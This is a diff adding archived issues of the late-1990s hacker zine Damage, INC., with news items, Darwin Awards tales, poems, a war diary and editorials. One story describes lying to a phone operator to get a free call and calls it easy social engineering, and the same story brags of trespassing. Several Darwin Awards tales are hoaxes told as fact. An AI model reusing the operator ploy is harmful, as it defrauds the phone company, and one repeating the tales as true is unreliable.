vendors to +develop a tool that Web sites could use to "hash" the serial number with a +service identification number, so that each Web site would obtain a different +serial number. The hashed number would be consistent every time the user +visited a particular site, but would be different from site to site. This would +prevent different Web sites from correlating user profiles. The decision to use +the hashing tool would be made by the Web site administrator, and not the PC +owner. +The serial number is only one of many ways in which people can find out about +you or even impersonate you on the Internet, according to Intel's High. As far +as gaining information about consumers, "an individual can go through the +parking lot of a shopping mall and read the serial numbers on the dashboards of +cars that dealers use to track maintenance, but I don't know that it gives them +anything terribly useful," he said. "It's just a model number to a machine, it +doesn't specifically identify you." + +But Intel intends the serial number to be used in multi-factor authentication. +According to a white paper posted on the company's Web site, the serial number +can be combined with other identification methods to enhance the security of +electronic commerce. "The processor serial number enables applications to +identify a processor, and, combined with other qualifiers, a system or user," +the report states. + +This potential use is the one that alarms Zero-Knowledge's Hill the most. +"Authentication doesn't belong in a hardware chip, it belongs in passwords, +digital certificates, smartcards, maybe down the road some biometric method. +Traditional authentication is something you know, something you have, something +you are. And 'something you have' is very rarely a PC that you lug around to +identify yourself," he told Spectrum. + +Stay tuned. + + + + +LINDA GEPPERT, Editor + IEEE Spectrum June 1999 Volume 36 Number 6 +======================================== + +------------------------------------------------------------------------------- + +DETROIT FREE PRESS, FIRE & LOOTING MARK END OF +WOODSTOCK from FREE PRESS WIRE SERVICE: + +"DATELINE ROME, N.Y>: The Woodstock '99 site looked like a war zone Monday: +twisted metal from a sound tower lay on the ground, litter blew in the wind, +the charred remains of 12 storage trailers still smoldered. + +Promoters stopped short of calling it a riot, but the Sunday night melee, at +the end of the weekend music festival, left five people injured, seven under +arrest, and caused thousands of dollars in property damage. + +The chaos began late Sunday, after the RED HOT CHILI PEPPERS finished its set, +the final act of the three-day show. As a tribute to JIMI HENDRIX played on +the screen, dozens of people in the crowd used "peace candles" that had been +distributed to set fire to an overturned car. + +From there, Woodstock descended into chaos as bands of young men, inspired by +the car fire, used lighters to start fires to vendors' trailers. + +Tents and booths were destroyed, concert light stands and speaker tower were +toppled and a mob tried to destroy a radio station truck. + +"This is not the real Woodstock," said a disgusted MIKE LONG, 31, of Detroit, +as police moved in. "The messed up the whole name of Woodstock." + +NEW YORK STATE POLICE Superintendent JAMES McMAHON estimated that 200 to 500 +youths took part in the rioting, as thousands more watched and cheered. +The mostly peaceful music festival had drawn 225,000 fans to the former +GRIFFISS AIR FORCE BASE." + +------------------------------------------------------------------------------- + +Below are the 1999 Darwin Award Top Nominees and Winner (all events occurred in +1998). For those of you not familiar with the Darwin Awards, they commemorate +individuals who protect our gene pool by making the ultimate sacrifice of their +own lives. Darwin Award winners eliminate themselves in an extraordinarily +idiotic manner, thereby improving our species' chances of long-term survival. + +The Darwin Award Nominees for 1999 are: + +1 - LOS ANGELES, CA. Ani Saduki, 33, and his brother decided to remove a bees +nest from a shed on their property with the aid of a pineapple. A pineapple is +an illegal firecracker which is the explosive equivalent of one-half stick of +dynamite. They ignited the fuse and retreated to watch from inside their home, +behind a window some 10 feet away from the hive/shed. The concussion of the +explosion shattered the window inwards, seriously lacerating Ani. Deciding Mr. +Saduki needed stitches, the brothers headed out to go to a nearby hospital. +While walking towards their car, Ani was stung three times by the surviving +bees. Unbeknownst to either brother, Ani was allergic to bee venom, and died of +suffocation enroute to the hospital. + +2 - Derrick L. Richards, 28, was charged in April in Minneapolis with +third-degree murder in the death of his beloved cousin, Kenneth E. Richards. +According to police, Derrick suggested a game of Russian Roulette and put a +semi-automatic pistol (instead of the more traditional revolver) to Ken's head +and fired. + +3 - PHILLIPSBURG, NJ. An unidentified 29 year old male choked to death on a +sequined pastie he had orally removed from an exotic dancer at a local +establishment. "I didn't think he was going to eat it," the dancer identified +only as "Ginger" said, adding "He was really drunk." + +4 - In February, according to police in WINDSOR, ONT., Daniel Kolta, 27, and +Randy Taylor, 33, died in a head-on collision, thus earning a tie in the game +of chicken they were playing with their snowmobiles. + +5 - MOSCOW, Russia - A drunk security man asked a colleague at the Moscow bank +they were guarding to stab his bulletproof vest to see if it would protect him +against a knife attack. It didn't, and the 25-year-old guard died of a heart +wound. (It's good to see the Russians getting into the spirit of the Darwin +Awards.) + +6 - In FRANCE, Jacques LeFevre left nothing to chance when he decided to commit +suicide. He stood at the top of a tall cliff and tied a noose around his neck. +He tied the other end of the rope to a large rock. He drank some poison and set +fire to his clothes. He even tried to shoot himself at the last moment. He +jumped and fired the pistol. The bullet missed him completely and cut through +the rope above him. Free of the threat of hanging, he plunged into the sea. The +sudden dunking extinguished the flames and made him vomit the poison. He was +dragged out of the water by a kind fisherman and was taken to a hospital, where +he died of hypothermia. + +7 - RENTON, WASHINGTON. A Renton, Washington man tried to commit a robbery. This +was probably his first attempt, as suggested by the fact that he had no previous +record of violent crime, and by his terminally stupid choices as listed: 1. The +target was H&J Leather & Firearms, a gun shop. 2. The shop was full of +customers, in a state where a substantial portion of the adult population is +licensed to carry concealed handguns in public places. 3. To enter the shop, +he had to step around a marked police patrol car parked at the front door. 4. An +officer in uniform was standing next to the counter, having coffee before +reporting to duty. Upon seeing the officer, the would-be robber announced a +holdup and fired a few wild shots. The officer and a clerk promptly returned +fire, removing him from the gene pool. Several other customers also drew their +guns, but didn't fire. No one else was hurt. + +AND THE 1999 DARWIN AWARD WINNER HAILS FROM.....THOMPSON, MANITOBA,CANADA. +Telephone relay company night watchman Edward Baker, 31, was killed early +Christmas morning by excessive microwave radiation exposure. He was apparently +attempting to keep warm next to a telecommunications feedhorn. Baker had been +suspended on a safety violation once last year, according to Northern Manitoba +Signal Relay spokesperson Tanya Cooke. She noted that Baker's earlier infraction +was for defeating a safety shut-off switch and entering a restricted maintenance +catwalk in order to stand in front of the microwave dish. He had told coworkers +that it was the only way he could stay warm during his twelve-hour shift at the +station, where winter temperatures often dip to forty below zero. Microwaves can +heat water molecules within human tissue in the same way that they heat food in +microwave ovens. For his Christmas shift, Baker reportedly brought a twelve pack +of beer and a plastic lawn chair, which he positioned directly in line with the +strongest microwave beam. Baker had not been told about a tenfold boost in +microwave power planned that night to handle the anticipated increase in holiday +long-distance calling traffic. Baker's body was discovered by the daytime +watchman, John Burns, who was greeted by an odor he mistook for a Christmas +roast he thought Baker must have prepared as a surprise. Burns also reported to +NMSR company officials that Baker's unfinished beers had exploded. + +[What a waste of perfectly good beer.] + +------------------------------------------------------------------------------- + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +Chaos and Madness. + +In the chaos and madness I live. +It is the place where creativity is born. +Nothing is expected and there's nothing you must give. + +Imagination can be let loose to run wild. +Fears are calmed and inspiration is driven. +It's a state of mind in which thoughts haven't been tamed and turned mild. + +In this open space I'm free to roam and explore. +Its vastness is great. +Overwhelmed by the lingering chaos, but still wanting more. + +Through these plains of existence and doors of perception I traverse. +Over the hills and upon an ocean of madness. +Words cannot begin to describe this strange, almost poetic universe. + +The randomness is apparent. The chaos is evident. +Madness is still upon me, lurking in the crevices of my psyche. +It is here that I can openly rant and vent. + +As I delve into this strange, underground world I can feel a euphoric sensation. +It's unlike anything else I've experienced. +And just as I begin to embrace this place, I start to make some realizations. + +Madness is genius. +It gives meaning to logic and rationality. +And it's much more than just sanity amiss. + +Chaos gives birth to new ideas. +In its disorder, mayhem and blinding emotional fervor lies the hidden truth. +With patience it can become clear to us. + +Chaos is madness and madness is chaos. +They're both equals. The importance of each should never be underestimated. +If their power is ignored, it's at a great loss. + +The contributions they make shouldn't be discounted. +It's a mistake to believe that they aren't needed. +And just because they're undesirable to some doesn't mean they aren't wanted. + +My heart aches and my mind is aflame. +I've had an incredible revelation. +I am madness but I'm not insane. + +I'm immersed in madness. +And I'm surrounded by chaos. +Of that those who know me well will readily attest. + +Into chaos and madness I dive. +Throwing caution to the wind whilst on the edge of the world. +And with them as a part of me, I thrive. + +Don't underestimate the worth of either. +Lest you pay the price. +The reaper isn't a wheeler and dealer. + +Slipping into dementia is a strange feeling. +Every thought, every sensation is heightened. +It's more than a normal high and nothing short of amazing. + +Don't be frightened by death. +Don't avoid danger. +And never let your mind rest. + +Life is chaos. Life is madness. +Everything is the universe and the universe is life. +The universe epitomizes chaos and it embodies madness. + +Note: I'm sure the above words aren't the most poetic you've ever read. The +poem isn't extremely well written. It's more like a rough draft. However, it +wasn't meant to be perfect. Its purpose was to convey what I was thinking +during a particular experience and it was written during a chaotic state of +mind. Altering it would forever change that, thus destroying it. So I've made +no attempt to "improve" it, since that cannot be done without ruining the +original meaning and personal thoughts that it was meant to share. Actually, +the whole fucking thing is basically just a long rant. So take it for what +it is and view what I wrote however you want. ;) + +Written by BLACKENED ú Damage, INC. (C)opyright 1999. + + +Words that define the Damage, INC. Newsletter: + + + Information ú Opinions ú Big Brother ú Corruption ú Greed + Conspiracies ú Coverups ú Advisories ú Advertisements ú Rants + Reviews ú Reports ú Creativity ú Imagination ú Interviews + Poetry ú Power ú Theories ú Ideas ú Philosophies ú Idealogies + Knowledge ú Underground ú Culture ú Subculture ú Counterculture + Hack ú Phreak ú Explore ú Think ú Experiment ú Learn ú Laws + Rights ú Liberty ú Electronic ú Freedom ú Fighters ú Privacy + anti-Oppression ú Investigative ú Artistic ú Free ú Expression + Political ú Comments ú News ú Observations ú Individualism + Reality ú non-conforming ú non-mainstream ú anti-Society ú Unique + Quotes ú anti-propaganda ú Resistance ú Tenacity ú Sarcastic + Satire ú Quality ú Thoughts ú Parody ú Logical ú Controversial + Emotional ú Protest ú anti-zombies ú Revolutionary ú Truth + + +Those are just a few of the words, that in my opinion, define the Damage, INC. +Newsletter. Obviously everyone has a different opinion on what this zine is +about, and what its purpose is, but those words accurately and concisely +describe what it represents and means to me personally. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1999. + + +Phun with Bell QuickChange Cards. + +Here's a short story about nothing. Best of all, it's all fucking true! Every +word of it. So read on. Just don't try this at home kids. + +One night I was walking around the city with a friend. Since we were bored +and didn't have any money to spend, we decided to look around for payphones +inside of any buildings that were open. We found quite a few with doors that +were open that night, so we had easy access to enter and explore. In most of +them, nobody else was around. So, we walked around for a couple of hours and +recorded the numbers for payphones. After a while, we had compiled a list of +about 40 payphone numbers or so and became bored again. + +Hold on, the story gets more interesting. At one of the payphones I found a +Bell QuickChange card that someone had left behind. It was a brightly coloured +$8 card that had been discarded (pun intended). So, I picked it up and inserted +it in a nearby Millennium. Unfortunately, it was used up already so I couldn't +use it to make any free calls. However, I was intrigued and entertained by +the payphone's LCD display and the recorded messages it was playing that were +instructing me to insert the card correctly and use another card. It was +almost like the Millennium was going into panic mode. We both laughed at the +flashing asterixes and display messages. Intentionally putting the card into +the card reader the wrong way, reversed, backwards and upside down was phun +for a while. But that too became boring after a while. Then I had a cool +idea that went something like this: + +"You want this card, don't you? You want the money. Take it!" I said to the +Millennium as I was feeding the card into its card reader. + +"Do you like that? Take it. Eat this QuickChange card. Suck it. You really +want this card. I know you want it. I'm giving it to you. Take it. Take +it all. Eat it. Fuck it." + +The card reader was getting fucked by the QuickChange card. And the payphone +was going crazy. If that weren't hilarious enough, I had another brilliant +idea that involved the same payphone. I left the card inserted and dialed +zero to get an operator. The conversation went as follows: + +"Bell Canada. How may I help you?" - Op + +"Yeah. I have a Bell QuickChange card here that isn't working." - KingPiN + +"What seems to be the problem?" - Op + +"I'm trying to make a phone call using the card but the payphone keeps +rejecting it. Why isn't it working?" - KingPiN + +"Return the card." - Op + +"I can't." - KingPiN + +"Why not? Where did you buy the card?" - Op + +"I got it from a QuickChange machine. How the fuck can I return it?" - KingPiN + +"Go to a Bell PhoneCentre and return it there." - Op + +"I'm not near a PhoneCentre and it's 11:30pm." - KingPiN + +"Where are you?" - Op + +"I'm at a bus station." - KingPiN +(I lied) + +"Are you trying to make a local or long distance call?" - Op + +"Local." - KingPiN + +"What number do you want to call?" - Op + +The Operator was going to dial the number for me and give me a free local +call, but I declined her offer by hanging up since I didn't have a number +ready to give her. But the next time I try that, I'll be prepared. It's +not a bad way of social engineering your way into getting a free local call. +And it's easy. Just don't tell them where you are in case they send someone +to check the payphone's card reader. The funny thing is, I left the bent, +expired QuickChange card inserted in the Millennium during the entire call. +As that conversation was going on, my friend was standing there listening and +laughing. I don't know if she could tell there was a card in the reader or +not. We just thought the whole thing was hilarious. + +The rest of the night we walked around through different buildings, set off +a few alarms by going in through certain doors. I pointed out to my friend +that a couple of red lights were activated when he opened up a door to a +hallway. It wasn't a fire exit door either. We were almost locked into one +part of a building because a door locked behind us. For a minute or two we +thought we were trapped and would have to break a window or a door to get +out of there. Luckily one of the doors to outside wasn't locked. In that +same area we found a phone without buttons that could only make calls within +the building. It was so loosely fastened that we could've ripped it off the +wall and stolen it. But we didn't. + +After that, we went downtown to the Bell Central Office. We walked around the +exterior of the building and looked in a few of the windows that didn't have +blinds. In the yard were several old Bell vans, cars and one new Bell van. +There were three blue dumpsters in the fenced yard and the gate was open. But +we didn't go trashing because there was a bright light and camera facing right +towards the dumpsters. We also noticed surveillance cameras in the parking lot +area, entrance to the yard and front door of the building. All of the cameras +were very large and noticable, but there could have been some smaller, hidden +cameras around as well. That didn't prevent us from spitting on the side of +the Bell CO at various locations. Then the cops drove by, stopped their car +and looked at us with suspicion in their eyes. I guess they thought we were +acting conspicuously. More than a few other cops were walking around downtown +and riding bicycles so we decided to leave the premises and vacate the area. +That was the end of the night. It wasn't really exciting or anything. We +didn't do any damage, but it was something to do and still phun... + +Written by KingPiN. + + +"Up to Ravenswood" + + well pa would get mad + + if we didn't wanna stand + + in line to get vittles, + + said you wanna + + eat? + + the preacher she took a + + strong dislike to me + + and didnt give me + + no pasta + + in the bags she was + + handing out to everyone + + so it was 'bout + + then + + I didn't wanna go up to the + + chuch on wedenesday nights + + in ravenswood but kenmore + + and lawrence church liked + + me fine we ran the + + alleys all day up kenmore + + from loyola way down to + + past armitage in an old ford + + and sat out in + + the alleys + + drinking fortys of the + + cheapest milwakee piss made. + + When I wanted to move the + + gun held under the oven + + with magnets so we + + could cook he got mad + + so one night I wanted to + + shoot the television + + like elvis and he said + + we'd get kicked out + + He brought home a big old + + Indian once and I made love to her + + he brought home a + + pretty little whore + + and I left them alone + + and she robbed him. + + so we found somebody + + in the street + + selling cheese like + + like we was collectors + + until the government + + didn't wanna give 'em no more + + up at sallysone day i got + + a bowl of grits or meal and + + was happy to get it til I + + scooped a big roach up + + and then puked back + + in the bowl + + go to throw it away and + + somebody wants it from me + + months later I got the + + chills couldn't move for 3 days + + my dad says you + + wanna eat? + + so I went to stand in + + the crowd at day labor + + but couldn't stand + + that day + + when I made the line at + + breakfast it was a long one + + and somebody goes in the + + pantry from the kitchen + + and I seen all them cans he + + came out I stuck my foot + + in the door snuck in and got + + me 3 cans of uncut soup + + went home and was + + soon cured. + + I made that 'ol + + macaroni for wendy once, + + but she didn't + + like it. + + I found a blue eyed + + squall somewheres and + + we took to each + + other + + she bought me a burrito + + and a case of old style + + and since it was + + summer + + we camped on the roof of + + hideaway where it was cooler. + + well one day at the soup + + kitchen they had let a cute but crazy + + black woman out a little too + + soon and since I had long + + hair she goes into + + yelling you ain't jesus at me + + well I laughed and people + + starts getting up and + + bringing me their + + bowls of potato soup + + like it was some kinda + + cool hand luke trick + + I was just the "guitar + + player" round them parts + + so when I try to eat + + there last time incognitto + + don't exist some call me + + the name of the "L" I + + sung the "50 cent + + song" at and + + some say look at him + + all schooled up. + + well back when I was gonna + + try those seeing eye glasses + + you know the welfare + + frames I wanted em tinted + + cause the cabs drove + + around with thier lights on at + + night blinding the + + crap outta me. + + so I get the frames + + and tinted + + and walk out of the eye place + + on broadway just north of wilson + + and my dad starts a + + yelling look at hollywood + + theres + + hollywood + + and my brother laughs and I + + tell em call me johnny,Johnny F.N.Hollywood. + + Written by Travis Ray Cole + + +Thoughts on Yugoslavia. + +First of all: +I'm not going to write anything about politics. I'll write how my +family and I are going through this war. + + When the first attack started on March 24, 1999, we heard the warning +siren for first time in our lives. My mum was so frightened that her face got +pale and her lips almost black. My brother and I wanted to go to bed and we +heard that warning sound, my mum ran from her bedroom to my room and dragged us +to the improvised shelter made out of a small room about 3 feet lower than the +other rooms. When the attack started, a few minutes after the bombs started +falling, my aunt called for my father to get her and her family (her husband +and her two daughters: one is 4 years old and the another is just a baby +(1 year old)). So my father had to go 12 kilometers in his car to my aunt's +house. Then my mother became really frightened. But when they came my mum got +a little calmer. +When my two sisters were put in our shelter the older one (4 years old) started +to cry so badly that the others in the shelter couldn't stand it. Every time we +went to shelter my sister started to cry. After about two weeks my sister +stopped crying. She was having almost epileptic attacks, and she is afraid of +going out. I played my guitar a lot during that time, and I made some great +computer programs between two air danger signals. When the NATO strikes knocked +out our electrical supply sources and we didn't have electricity, I read some +books. First I read some books about science : books about quantum physics, +biochemistry, astronomy etc. Then I started to read some nice literature: +"The crime and punishment", "The novel about Troya city", "The novel about +Alexander the Great", "The Secret of Atlantis",... + +After that became too boring I started to do some physical exercises and played +soccer, basketball and volleyball with my friends and neighbours. My brother +(10 years old) is afraid of going out. He goes out of the house only when he +has to, and kids on the street ran into their houses when the sirens howl. For +a month and a half I couldn't look into the sky - I saw air planes everywhere +(even when there weren't any). + +My neighbours have become unseparable friends and they are socializing +like never before. (They have a lot of time, they think about almost the +same things, and they all together feel much safer (they also exchange +information when they meet (I meet with them))). They do everything together + - they live together! + +Time after time the messages written on the paper slowly falling from the +sky - they are just some propaganda material but I think they are also +covered with poison chemicals. Because of the energy supply systems crashing +we have to use candles at night, but that's not so much trouble because some +of us are used to it (when there was not enough energy produced in the country +we had some energy restrictions). + +Now I don't go to school (the schools aren't working), so I meet my friends +only occasionally, but when we see the each other we talk a lot and we exchange +our information, our thoughts, our feelings, etc. + +Yesterday I made some Ice Cream (instant stuff) and put it into the freezer area +of the refrigerator and when my brother and I ate it, it was lot easier to +stand the temperature which was above 28 degrees Celsius. +Because of the electrical energy failures, sometimes we don't have water but +that's not a problem - we have water reserves in our houses and there are some +neutral source-water pumps on the street so we can drink water from there +(from pumps that are certified to have normal water quality). + +Right now I don't know what else to say (the things I wrote was how I felt +or what happened during the NATO strikes).!!!!!!! I can hear the siren +right now, - the sign of air danger !!!!!!!, but what can I do, I'm not +gonna go to my shelter because I'm sick and tired of doing that. + +Compliments from one of the Yugoslav people. +It's not important who wrote this, it's important that it's true. + + +CLOSING COMMENTS - {CLOSING} + +"With the content law in Canada, you guys are living more fascist than any +country that we're close to. I've witnessed it. The fact that radio is told +what to play by the Canadian government is one of the biggest fascist ploys +ever. The fact that there's any control and you don't have one hundred percent +freedom is sad." - Josh Silver of Type O Negative. + +This marks the end of the 16th issue. Even though I don't want to focus on +looking back on the past issues, I will say that we've definitely shown marked +improvement in the quality of the content, as well as our own level of maturity. +Gone are the days of petty bashing and slamming. No longer do we waste words +doing that type thing and display that kind of behaviour... and I'm sure many +of you have noticed that change. It's all part of the evolution of the +Damage, INC. Newsletter. It took us some time to realize that it's pointless +to do that, but once we did we ceased writing shit and shifted our focus to +making this publication into what it should be. And to be honest, only now is +it beginning to become what I had first envisioned at the time of its creation. +Almost every zine starts out promising with the potential to become something +greater. It's what is done with it thereafter that matters. I believe that +with added dedication the DIN will reach its potential and our original goals +will be met. + +In a way, hackers are like surfers. Hacking is more than just a mere activity +or hobby. It's a way of thinking. It's a way of life. And for the people that +are heavily involved in it, it is a lifestyle. They have their own unique +subculture. Yet each of them is as much of an individual as you'll ever meet. +That's what makes true hackers different. Instead of wanting to be a part of +the mainstream, they want to create something outside of it. Instead of +conforming and becoming a slave to technology, they use it imaginatively and +as they see fit. At the same time, they want to explore and learn about what +already exists, making modifications as needed, using what they need without +taking away what they don't. Perhaps the "hackers/surfers" analogy isn't the +best. Maybe they aren't as much alike as what I perceive. I can't say that +they are with any certainty as I'm not a surfer. But by what I've written you +should get the point. ;) + +Above and beyond all of the hype, there's truth. And that's all we're trying +to convey to our readers; the truth. The world's population is now hovering +at about 6 billion. Of that, I'd estimate that approximately 1 million are +intelligent human beings capable of free thought, open mindedness and a small +measure of enlightenment, if only for a fleeting moment. The rest are sadly +nothing more than zombies, incapable of the above due to their overwhelming +willingness and complete need to conform to "society". They've condemned +themselves to lives of slavery, shackled by the very notion that individualism +is counterproductive, "anti-society" and wrong. Chained to the beloved +"society" that they live to serve, they need not read these words for they +could not possibly be comprehended and understood by them. The concepts of +freedom, liberty, justice, individualism and all of the other rights that +people are entitled to that we present in this zine are wasted on them. So, +to those that are blinded by propaganda and proudly have deaf ears when someone +is shouting the truth and exposing reality, we don't want you as readers. Nor +do we need anyone that closes their mind to idealogies, philosophies, theories, +thoughts and concepts that differ from their own. In essence, if you can't +handle reading what's written here and the way that it's written, you have the +option to cease reading it. I'm not going to urge zombies to quit. And I'm +not bitching about people that disagree with what we're doing either. I am +simply making the point clear that we don't rely on quantity of readers and +can easily do without any proven zombies attempting to dissect every word and +phrase that we've chosen to use. To summarize, if you're a zombie, phreak off +and go play with your AOL friends... + +On another note, I appreciate all of the compliments and positive feedback that +has been directed our way in recent weeks. It's always good to hear from our +loyal readers as it reaffirms the importance of what we're doing. It's obvious +that a lot of people get what we're doing and are down with Damage, INC. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Quotes: + +Shatazar - "El_Jefe's gonna shit..." + +Blackie Lawless - "Hey Operator Dan. How's Stan? Do you really think you're +the man? The last Bell Op I called hungup and ran because I field phreak from +Bell cans, Shatazar scans, THC Phreak likes LANs and BLACKENED's always gettin' +banned. Now are you going to divert my call so I can ditch this popsicle +stand?" (recited very quickly to an Op) :) + +THC Phreak - "Free at last. Free at last. Thank all the lawyers on earth, I'm +phreaking free at last! I think I'll celebrate by getting baked." (ahem, a +$500 fine, 100 hours community service, 1 year probation suspended sentence +plus legal expenses later kind of free. Pfft. Now that's justice in the good +ol' Canadian courts. I didn't even get an interview out of it since it was +kept hush-hush. After further consideration, I rescind that lawyers comment.) + +BLACKENED - "I just have one question. Is it still damn phreaky?" + +- EOF diff --git a/textfiles.com/groups/DAMAGEINC/damage.017 b/textfiles.com/groups/DAMAGEINC/damage.017 new file mode 100644 index 00000000..00fa1dbb --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/damage.017 @@ -0,0 +1,4579 @@ + ____ _____________ ___________ _____ + ____\ |_\_ | _ _ |_\_ | _ | _ |__________ _ _ ___ + | _ | _ | | | | _ | | | | |-| _ | | ______\ | /___ + | | | | | | | | | |____ | ___| | | | |-| \ |zZ! /___ + l______|_____|__|-|__|_____|__/__|___\___|_|_|___|_ ___________ ___________ + | _ | _ | |-| | ___/_ | | _ \_ __/_|_ _ | \_ + D a m a g e , I N C .| | | | | | | |___ | | | | | \_ _/ | | |__/ + | | | ___| | | | | | |--| ___| | | ___| | + N e w s l e t t e r |__|__|___\ |_______|_____|_____|___\ |__|__|___\ |__| + + Volume 2, Issue #17 + (Released: 01/20/00) + + "Follow your Leader." + + http://surf.to/damage_inc + damage_inc@disinfo.net + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + C O N T E N T S : + +þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter. + +þ ADVISORIES - The Stentor Alliance explained. + ¯ Search String: {ADVISORIES} + +þ BIG BROTHER BASHING - American Civil Liberties under seige, etc. + ¯ Search String: {BIG BROTHER} + +þ CONSPIRACIES AND COVERUPS - Dulce's secret alien facility, WTO equals NWO. + ¯ Search String: {COVERUPS} + +þ CORRUPTION AND GREED - Bell Canada's greedy, cash grabbing schemes. + ¯ Search String: {GREED} + +þ CROSSED WIRES - An Advertisement for K-1ine. + ¯ Search String: {WIRES} + +þ DAMAGE, INC. REVIEWS - H/P and Security Web Sites. + ¯ Search String: {REVIEWS} + +þ H/P INFORMATION - An explorer's guide to hacking the planet. + ¯ Search String: {H/P} + +þ INTERVIEWS AND INTERROGATIONS - Interviews with The Clone and Lord Narayana. + ¯ Search String: {INTERVIEWS} + +þ NEWS FROM THE TRENCHES - Damage, INC. releases, updates and news. + ¯ Search String: {NEWS} + +þ OBJECTIVE OPINIONS - Following the trends and going with the grain. + ¯ Search String: {OPINIONS} + +þ REPORTS FROM THE FRONT - Kevin Mitnick saga, Hotmail, AOL, The L0pht, etc. + ¯ Search String: {REPORTS} + +þ THOUGHTS, POEMS AND CREATIVE WRITING - The Followers, Freedom of Thought, etc. + ¯ Search String: {WRITING} + +þ CLOSING COMMENTS - BLACKENED's blunt closing comments. + ¯ Search String: {CLOSING} + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + +< DISCLAIMER > + +All articles contained in the Damage, INC. Newsletter are for informational +purposes only. Damage, INC. is not responsible for how any of the information +presented is used. It is not intended to be a manual with instructions to be +followed. We won't be held responsible for any damages caused, illegal and +fraudulent acts committed, etc. by our readers. If/how you use the information +presented is entirely up to you. + + +< COPYRIGHT NOTICE > + +All articles and source code contained within this file are (C) Copyright by +Damage, INC. (unless stated otherwise). No part of this work can be modified, +reproduced or changed in any way without the expressed written consent of +Damage, INC. That means, electronically or otherwise, in part or in whole +this file must not be altered. It cannot be distributed and sold for profit. +You cannot claim that you wrote it, or alter any articles and source code that +has been written and Copyrighted by us. Also, you must *not* distribute any +Damage, INC. releases in "packages" with other text files or utilities. They +must only be distributed alone in their present, original form. You are hereby +permitted to read and distribute the Damage, INC. Newsletter freely to quality +h/p boards and sites only. + + Copyright 2000 by Damage, INC. + All Rights Reserved. +_______________________________________________________________________________ + + +INTRODUCTION: + +Man, it has been two years since the first issue of the Damage, INC. Newsletter +was released. And to say the least, it has been a real trip publishing this +magazine for that duration of time. Even though this isn't going to be called +our official "2nd Anniversary Issue", it will still be interesting and special +in its own right. We'll make damn sure of that. + +To say that this zine has evolved since its humble creation would be an +understatement. Just as, to say that we've changed because of it wouldn't +begin to describe what we've gone through. So instead, I'll just say that +I couldn't have imagined how this would turn out when it began. Nobody could +have predicted where this zine would be after it had been in publication for +two years, seventeen issues and several group alterations later. And no one +can say with any certainty where it will be years from now. With the future, +there aren't any definitive answers, just guesses. I'm not going to start +playing the guessing game. I'd rather comment on the current state of the zine +by stating that it's in good shape and I'm satisfied with the progress that +has been made thus far. + +I won't say I don't have any regrets though, because in fact I do. Shatazar and +Blackie Lawless have said they have some regrets as well. Basically, I regret +publishing some of the articles in the early issues and wish we'd been more +mature back in the beginning. More editing and better proofreading should have +been done back then. Some of the first interviews and interrogations were lame +as well. However, I don't regret creating this zine at the time I did, and +can't change the past. Nor will I try to hide it by pretending the zine was +never new and still developing into what it is today. Regardless of that, the +foundation hasn't cracked. It's still there, standing strong... just as we are. + +The quote chosen for this issue, "Follow your Leader"... might be deserving +of an explanation since it could be misleading. And we wouldn't want anyone +to feel deceived. First, it isn't the name of a Korn CD. Second, it isn't +the name of a children's game. Third, it isn't the old cliche. That's right, +it isn't "Follow the Leader". Nor does it carry the same meaning as that +saying. In a way, the quote is meant to be sarcastic. Yet, in a very real +way it's meant to make you, the reader, stop and think about what it means to +"Follow your Leader." By no means are we telling people to join a cult or +find a person to follow around though. So, don't get us wrong. ;) + +Your leader can also be yourself. In fact, that's actually who it should be. +The issue is more about leading your own life than it is about choosing someone +else to follow. But I think instead of explaining it in great detail, I'll +let the issue speak for itself. They always seem to have a way of doing that +anyway. Then after having read it, you can sort it out and decide what it all +means to you personally. Yeah, now there's a concept. Think about what you +read and figure it out on your own. + + +ADVISORIES - {ADVISORIES} +The Stentor Alliance explained. + +We apologize for the inconvenience, but the Stentor Alliance article wasn't +complete at the time this issue was released. However, it will appear in the +next issue. And we're confident it'll be worth the wait. + + +BIG BROTHER BASHING - {BIG BROTHER} + +American Civil Liberties under seige. + +The United States of America is thought of to be the last place where civil +freedom exists. Compared to other countries, I personally believe this to be +true. Although the U.S. Constitution has been attacked and eroded, it has not +totally fallen... yet. It does not contain weak wording like other countries' +Constitutions do. That is, the countries that contain them as part of their +system. However, Big Brother does continue its attacks on what the Founding +Fathers had in mind for all Americans. Instead of writing another feature +article on this subject, I'd like to share a very, very small sampling of +various types of civil liberties abuses that have been perpetrated against +ordinary Americans in the past 12 months. + + * * * + +On March 13, 1999, five teens that live near the city of Atlanta, Georgia were +arrested because an Internet web site claimed that they were gang members. In +late 1998, one of their "buddies" created the site as a "joke", which listed +their names along with the name and logo of a local gang. Their local sheriff's +department stormed their high school and arrested the teens. Later, the sheriff +admitted that the kids were just "wannabes." Although the teens were later +released, their First Amendment rights were obviously violated based totally on +a perceived thoughtcrime. + + * * * + +On April 6, 1999, the Supreme Court made a ruling that expands the powers of +American Law Enforcement. By a ruling of 6 to 3, it is now legal for police +officers to search a car passenger's belongings simply because they are +suspicious that the driver may have committed an illegal act. Now pigs can +search everything and everyone in a car without a search warrant. The so-called +"war on drugs" exemptions have been used by Big Brother to weaken the +Constitutional rights of Americans to be protected against unwarranted searches +and seizures. No reasonable evidence of a crime being committed is required. + + * * * + +With American prisons filling up more and more each day, Big Brother has a new +"toy" to keep them "in line." Over 20 states have authorized the use of stun +belts to be used on prisoners. The stun belt was designed to deliver a heavy +jolt to the prisoner's kidney, which causes temporary paralysis and loss of +bodily functions. Big Brother has so far been able to shrug off critics that +claim it is "cruel and unusual punishment," which is prohibited by the +Constitution and international human rights agreements. Their valid argument +has fallen on deaf ears and been ignored by the courts. + +What is even more 